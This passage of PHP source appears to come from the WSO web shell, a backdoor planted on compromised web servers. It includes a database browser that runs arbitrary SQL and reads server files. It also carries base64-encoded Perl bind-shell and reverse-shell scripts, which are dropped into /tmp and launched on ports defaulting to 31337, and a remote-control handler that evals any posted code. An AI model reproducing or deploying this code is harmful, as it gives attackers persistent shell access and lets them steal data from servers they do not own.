1395 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1396 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1397 }
1398 </script>";
1399 if(isset($db) && $db->link){
1400 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1401 if(!empty($_POST['sql_base'])){
1402 $db->selectdb($_POST['sql_base']);
1403 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1404 $tbls_res = $db->listTables();
1405 while($item = $db->fetch($tbls_res)) {
1406 list($key, $value) = each($item);
1407 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1408 $value = htmlspecialchars($value);
1409 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1410 }
1411 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1412 if(@$_POST['p1'] == 'select') {
1413 $_POST['p1'] = 'query';
1414 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1415 $num = $db->fetch();
1416 $num = $num['n'];
1417 echo "<span>".$_POST['p2']."</span> ($num) ";
1418 for($i=0;$i<($num/30);$i++)
1419 if($i != (int)$_POST['p3'])
1420 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1421 else
1422 echo ($i+1)," ";
1423 if($_POST['type']=='pgsql')
1424 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1425 else
1426 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1427 echo "<br><br>";
1428 }
1429 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1430 $db->query(@$_POST['p3']);
1431 if($db->res !== false) {
1432 $title = false;
1433 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1434 $line = 1;
1435 while($item = $db->fetch()) {
1436 if(!$title) {
1437 echo '<tr>';
1438 foreach($item as $key => $value)
1439 echo '<th>'.$key.'</th>';
1440 reset($item);
1441 $title=true;
1442 echo '</tr><tr>';
1443 $line = 2;
1444 }
1445 echo '<tr class="l'.$line.'">';
1446 $line = $line==1?2:1;
1447 foreach($item as $key => $value) {
1448 if($value == null)
1449 echo '<td><i>null</i></td>';
1450 else
1451 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1452 }
1453 echo '</tr>';
1454 }
1455 echo '</table>';
1456 } else {
1457 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1458 }
1459 }
1460 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1461 echo "</td></tr>";
1462 }
1463 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1464 if(@$_POST['p1'] == 'loadfile') {
1465 $file = $db->loadFile($_POST['p2']);
1466 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1467 }
1468 }
1469 echo '</div>';
1470 wsoFooter();
1471}
1472function actionNetwork() {
1473 wsoHeader();
1474 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1475 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1476 echo "<h1>Network tools</h1><div class=content>
1477 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1478 <span>Bind port to /bin/sh [perl]</span><br/>
1479 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1480 </form>
1481 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1482 <span>Back-connect [perl]</span><br/>
1483 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1484 </form><br>";
1485 if(isset($_POST['p1'])) {
1486 function cf($f,$t) {
1487 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1488 if($w) {
1489 @fwrite($w,@base64_decode($t));
1490 @fclose($w);
1491 }
1492 }
1493 if($_POST['p1'] == 'bpp') {
1494 cf("/tmp/bp.pl",$bind_port_p);
1495 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1496 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1497 }
1498 if($_POST['p1'] == 'bcp') {
1499 cf("/tmp/bc.pl",$back_connect_p);
1500 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1501 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1502 }
1503 }
1504 echo '</div>';
1505 wsoFooter();
1506}
1507function actionRC() {
1508 if(!@$_POST['p1']) {
1509 $a = array(
1510 "uname" => php_uname(),
1511 "php_version" => phpversion(),
1512 "wso_version" => VERSION,
1513 "safemode" => @ini_get('safe_mode')
1514 );
1515 echo serialize($a);
1516 } else {
1517 eval($_POST['p1']);
1518 }
1519}
1520if( empty($_POST['a']) )
1521 if(isset($default_action) && function_exists('action' . $default_action))
1522 $_POST['a'] = $default_action;
1523 else
1524 $_POST['a'] = 'SecInfo';
1525if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1526 call_user_func('action' . $_POST['a']);
1527exit;
1528?>